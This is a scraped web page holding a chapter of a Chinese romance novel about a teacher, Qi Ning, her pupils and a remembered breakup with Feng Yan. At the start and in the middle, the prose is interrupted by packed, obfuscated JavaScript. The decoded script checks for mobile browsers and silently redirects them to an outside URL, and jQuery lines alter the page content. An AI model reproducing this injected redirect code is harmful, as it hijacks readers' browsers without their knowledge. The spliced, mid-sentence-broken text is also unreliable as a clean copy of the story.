l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670598|144148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫工人面前,先敬礼,再递花,甜甜说上几句感谢和祝福,然后礼貌挥手告别。 戚柠一路跟着她们,或鼓励或夸奖,耐心随和,偶尔打趣捉弄,神情有种说不上来的柔软和放松。 能看出她很喜欢小孩,也很讨小孩喜欢。 或许戚柠天生就适合当低年级老师。 她不怎么擅长跟成年人相处,却总能轻而易举俘获小孩子的心,跟他们打成一片。 戚柠自己都能感觉到,在小朋友面前,她整个人是舒展的,自在又轻盈,性格也活泼许多,仿佛所有烦恼都被赶跑。 该怎么形容,有时戚柠甚至会忍不住心虚,怀疑她是不是吸走了小朋友的元气和能量,好在他们在她面前似乎更闹腾活跃,也发自内心把她当好朋友。 献完花,返校路上,三小只又有了新的鬼点子,缠着戚柠要让她带她们抓娃娃。 戚柠看时间还早,问了于津津几个,也都没回学校,便打车领三小只去了附近商场内的电玩城。 换了300个币,戚柠是不上手的,站在旁边看他们玩儿。 童童最腼腆,苗苗最霸道,春鸢最鬼精灵,三小只吵来吵去,一会儿换台机器,你指责我我嫌弃你,抓了半天也没抓住一个。 争执半天,最后意见达成统一:“小柠老师,你来抓。” 春鸢手指一点:“我要草莓熊!” 苗苗:“我要玲娜贝儿和星黛露。” 童童:“我哪个都可以。” 戚柠:“……” 赶鸭子上架,她手忙脚乱,用光剩下90个币,最终幸不辱命,缴获战利品4只——其中4只是一个超厉害的妹妹看不过去分给她的,剩下0只是她自己抓的。 在三小只一言难尽的目光中,戚柠心虚一秒,当即壕气地把4只玩偶都给了她们,让她们去分。 三小只都很懂事,谦让地一人拿了一个,又把剩下的那个给了她。 不知道为什么,从她们突然的姐友妹恭里,戚柠感觉自己好像被鄙视了。 这场抓娃娃之行,也让她深刻体会到了,三个孩子是有点多,带起来太累了。 以后还是只要两个,最好是一对姐妹花。 至于抓娃娃这种重任,交给封砚比较好,她记得他技术还行挺擅长的。 不过,他好像对小孩耐心不多,那不然要一个好了。 其实封砚很讨小孩喜欢的,想当年一起去福利院当义工,他比她还要受欢迎一点。 可惜他耐心一阵一阵的,心情好了,哄得一群小孩围着他转圈喊哥哥,心情不爽,直接丢一本作业题在桌上,让他们写,不写完没有礼物收。 偏偏小孩还都听他的,没一个反抗的。 这领导力,让人不得不服气。 戚柠忍不住翘了翘唇角,神思还没来得及从回忆里剥离,无意一偏眼,隔着层车玻璃,她措手不及在汀附中校门口看见了一个不算陌生的人。 ——陆泽川。 笑意凝固在唇角,戚柠脸唰地一白。 随着出租车向前方行驶,陆泽川的身影渐渐缩小远去,附中的大门也被香樟树枝叶遮挡,彻底消失在她的视野。 六年前,跟封砚的最后一面,前半部分被她刻意遗忘的那段记忆,却毫无防备清晰地在大脑倒映。 12. 没良心 那天是8月20号,汀附中准高三党8月份一直在学校补课,这天,学校邀请了一些刚毕业的学生回学校演讲,打算激一激高三生们的斗志。 戚柠和陆泽川都被邀请了,名单上没有封砚,可能是他要出国,走得跟高考不是一个赛道,能分享的有用经验不多。 前面大家都是正常叙述,讲一些做题经验啊、应试技巧啊、志愿选择啊什么的,没什么特别的。 后半段戚柠上场时,却出了点岔子。 她上一个是陆泽川,按流程他应该从右侧台阶下,她直接在左边上台。 不知道为什么,陆泽川没有正常下台,而是朝她这边走过来,伸手扶了她一把,顺势把她带到了台中央。 台下那些学生本来正听得打瞌睡,一见到这阵仗,霎时间那叫一个兴奋激动,张口就喊:“哇靠,这俩是一对吧?” “绝对是明目张胆秀恩爱,果然毕了业就是好,学生党狗粮吃到饱。” “刀在手,杀陆狗,我情书还没递出去呢,戚柠学姐怎么就名花有主了?!” “啊啊啊这婚事我不同意!!!” 得益于这张脸,戚柠在学校还算是小有名气,不少人都认识她,或者至少听说过她名字,这下礼堂里算是炸了锅,纷纷当着本人的面一线吃瓜。 戚柠试图艰难解释:“这台阶有点高,我前阵子脚腕受伤了,他是怕我不小心摔了才帮忙的。” 没有人信。 戚柠只得求助地看向陆泽川。 陆泽川面朝大家,声线温柔,顺着她话往下说:“就是她说的那样,大家还是把注意力转回演讲上,你们戚柠学姐的稿子干货很多,很有用的,你们认真听,别欺负她。” 台下静默一瞬,再度喧哗嘶吼起来,声音愈演愈烈,场面一度混乱失控,几乎掀翻天花板。 有人喊了声:“看论坛,有人放图,在行政楼前拍到了他们俩和戚柠妈妈。” “哇哦,原来已经经过丈母娘认可了。” “看戚柠妈妈的态度,似乎对这桩婚事还挺满意?” “噫呜呜噫好甜!” 后来,戚柠完全不记得自己讲了什么,匆匆潦草结束。下了台,她拿着稿子,低着头往洗手间的方向走,想去洗手,刚转过拐角,视线内忽然多出一双熟悉的鞋子。 戚柠僵硬抬起头。 果然。 是封砚站在那儿。 只是不知道他是什么时候来的,又在这站着听了多久。 同一时间,封砚也看见了她,他一秒没有犹豫,直接转身就走,速度快到来不及看清他脸上的表情。 戚柠心里着慌,下意识抬脚跟上,要去追他。 跟了六七步,又脚步一顿,大脑冷静几分,她停在原地,没真的追上去。 不料在这时,已经走远的封砚毫无征兆折回,重新站在了她面前。 他伸手攥她的腕骨,并征询她的意见:“跟我走?”在一起后,戚柠习惯了他说什么就是什么,一切听他的安排,她全部乖乖照做,在反应过来之前,她已经听话点了头。 封砚牵着她的手腕,走出礼堂,途经升旗台,一路疾走。 戚柠跟得狼狈,却又反抗不了,刚要挣扎,他手掌立刻圈得更紧,牢牢箍住她的腕骨,不许她逃脱。 眼见就要走出校门,戚柠开始着急,戚岚还在校长办公室等着,她忍不住低声哀求:“封砚,我疼。” 声音很小,接近气音,可封砚依然第一时间停了下来。 他首先看向她的脚腕,蹲下身,左右都上手按了按,没找到伤处,顿了几秒,问她:“哪只?” 戚柠脚腕上的伤早好了,哪只都不痛,可看着蹲在她脚边的封砚,她心脏蓦地隐隐生疼,不止心脏,她形容不来,只能可怜地看着他头顶的黑发,心里软软的潮潮的,“我不知道……” 封砚登时明白过来,这是假话,她在骗他。 他直起身,拉上她的手继续朝外走,眼角余光内冷不丁杀出个煞风景的路人。 陆泽川追赶了过来,他气喘吁吁站在三四米远的地方,目露焦急,嘴巴张了张,像是犹豫要喊戚柠的名字。 封砚没给他机会。 在陆泽川出声之前,封砚先一步低头,稳稳托着戚柠的后脑勺,吻了下去。 他的吻和他本人一样,凶狠霸道,毫无保留。 这次更甚,上来先捣入舌头,巡视领土,戚柠还没准备好,口腔内已经被属于他的气息占满。 但她一点没有挣扎,更没有推拒,两只手乖乖环在他背后,自己调整呼吸,慢慢跟上他的节奏,尝试着回应,温软地安抚他突然爆发的情绪。 在这方面,戚柠真的很乖很乖,半点脾气没有,从来都是任他施为,除了配合,就只剩顺从。 许久后,一吻结束,陆泽川也走到了两人旁边,眼神不自然,脸色惨白而勉强。 戚柠后知后觉意识到,他可能看到了刚刚的画面,有点尴尬,也有点害羞,下意识往封砚身后躲了躲。 封砚显然被她这个动作哄到了,眼神都柔软几分,只当陆泽川不存在,说话也并不避着他。 “分手我不同意,哪有遇到问题上来先分手的?听到了吗,没有下次。”恶劣地捏了下她的脸。 戚柠咬唇:“可是……上次我们都说清楚了的。” 她垂着眼皮,不敢看他。 封砚态度冷了点,“你确定?”令她抬头,“看着我的眼睛说。” “封砚……不要逼我。” 戚柠怕了,恶人先告状,说不上来胆怯还是负疚,她哭了出来。 她一哭,他就拿她没办法,满腔怒火也只能先压回去。戚柠睫毛簌簌,眼泪彻底开了闸,一颗接一颗往下淌,小声啜泣,哭得克制收敛。她只会这一种哭法,放不开,但偏偏这种哭法最惹人心疼,再硬的心肠也得被她哭成一滩烂泥。 封砚无声叹口气,抬手帮她拭泪,谁知,戚柠竟侧脸避开了他动作。 封砚手没能碰到她的脸,被迫悬在她耳侧,略作停顿,他继续抬手跟了过去。戚柠再躲,他手又跟。 这下她没再躲了。 他干燥的指腹触摸到她眼下皮肤,力度放得很轻,一点一点把她的眼泪擦干净。 单凭动作,不明状况的,该以为他此刻目光一定专注而神情,但从戚柠这个角度看去,只有她知道,他薄薄的眼皮下,那双眼仿佛一潭静水,情绪全沉在水底,波澜不兴。 她无从窥探,更不敢深想。 日头逼近正午,夏日阳光浓烈刺眼,哪怕到了这种时候,他都不忘把她安放在阴凉处,免受太阳直射。 中午影子短,阳光从香樟树上方笔直切过,在两人中间投下一道界限分明的光影分割线。 戚柠在阴影里,封砚在太阳下。 炎炎暴晒的阳光投在他身上,非但不让人觉得热,反衬得他冷白皮肤如经年不化的积雪,透着令人心颤的寒意。 戚柠眼泪渐渐收闸,封砚动作轻缓地用指腹抹去她最后一滴泪痕。 随着他手抬离脸颊的动作,封砚忽地喊了声她的名字:“戚柠。” “我再问最后一次。” 他声音没什么起伏,不知道是不是错觉,听起来居然以平静居多。 “之前种种我都可以当没发生过,包括今天,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670599|144148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我心知肚明,这些根本无足轻重,我在乎,但也没那么介意,比起这些虚的,我很清楚什么更重要。你担心的那些,我大概也了解一点,不至于严重到就要分手,无论多难,我来想办法解决。” 他顿了顿,又接着说。 “还有异地,我承认,接下来至少四年,没办法时时刻刻陪在你身边,但我可以保证,只要你需要,我立刻一张机票飞回来。眼前这个人,他是能给你陪伴,但扪心自问,你真正需要的是这些吗?戚柠,你有点良心,究竟……” 封砚深呼一口气,没再往下展开,那些怨夫似的指责和控诉,解决不了实际问题,只会显得他无能狂怒。 他闭了下眼,把裁决权丢给她。 “现在你选,跟他,还是跟我?” 戚柠一点不诚实,也当真没良心。 她这个人,表面看起来软弱没主见,实际一旦做了决定,主意比谁都正,谁来劝也改不了的。 她答:“对不起。” 那天的结尾,封砚到最后神情都是平静而克制的,他淡声留给她四个字,不要后悔,之后毫不留恋地转身离开。戚柠愣愣抬眼,多么奇妙又多么应景,天忽然落雨。 “哇,下雨了!” “是太阳雨,看,那边天上有彩虹!” “好漂亮!小柠老师,你快看!” 戚柠回神,不着痕迹抹去脸上泪痕,朝车窗外看去。 雨丝缠绵,雾一样飘渺的云层上方,一簇火焰彩虹跃然悬空,太阳光明媚耀眼,将彩虹晕染上点点细碎的金箔,如遇佛光。 好似神祇,又像是天意。 下了车,戚柠领三小只回教室。 离放学还有十分钟,楼道内回荡着歌声,是音乐老师在领小朋友们唱《彩虹的约定》。 三小只听见了,也跟着唱:“小宝贝我用彩虹和你约定,风雨过后阳光会微笑……” 小学生都知道,彩虹代表希望,是一切美好的具象,可在古代,彩虹也曾被视为凶兆。 放了学,学生们排队上车,陆续被校车送走,同事们也相继打卡下班,戚柠坐在工位上,发着呆等陆鲤过来。 手机滴滴响个不停,她解锁点进去,陆鲤发来了一连串消息轰炸。 16:02 鲤鲤:【马上到马上到,二十分钟】 鲤鲤:【图片】 鲤鲤:【去打了个黄金微针,这玩意儿效果也就一般般嘛,效果不及你妈生皮十分之一】 16:07 鲤鲤:【无语,刚接了个傻逼电话】 鲤鲤:【我小学同学,前两天来公司面试,一个学建筑的,来面财务的岗】 16:09 鲤鲤:【面试结束,我跟他说再考虑一下,然后几天没联系,这意思很明确了吧?!都是成年人,懂不懂什么叫礼貌性婉拒】 鲤鲤:【居然还觍着脸问我什么时候入职】 鲤鲤:【我脑子有病啊我聘他】 戚柠表情怔忪,凝视着屏幕上的这些字,许久没眨一下眼皮。 时间仿佛无限停滞。办公室内只开了盏小台灯,橘色光朦胧团过来,覆在她睫毛上,在眼底留下一小片阴影。 落地窗外,雨不知道什么时候忽然停了,彩虹还在,如火焰般在云层间跳动,忽而清晰,忽而朦胧,忽而明亮,忽而黯淡。 封砚那天是怎么说的来着? ——“那我就勉为其难考虑一下。” 所以,就像是求职参加面试,HR让回去等消息一样,考虑其实就是婉拒的潜台词。 从那天到现在,也好几天了,难道他……也是在礼貌性婉拒她吗?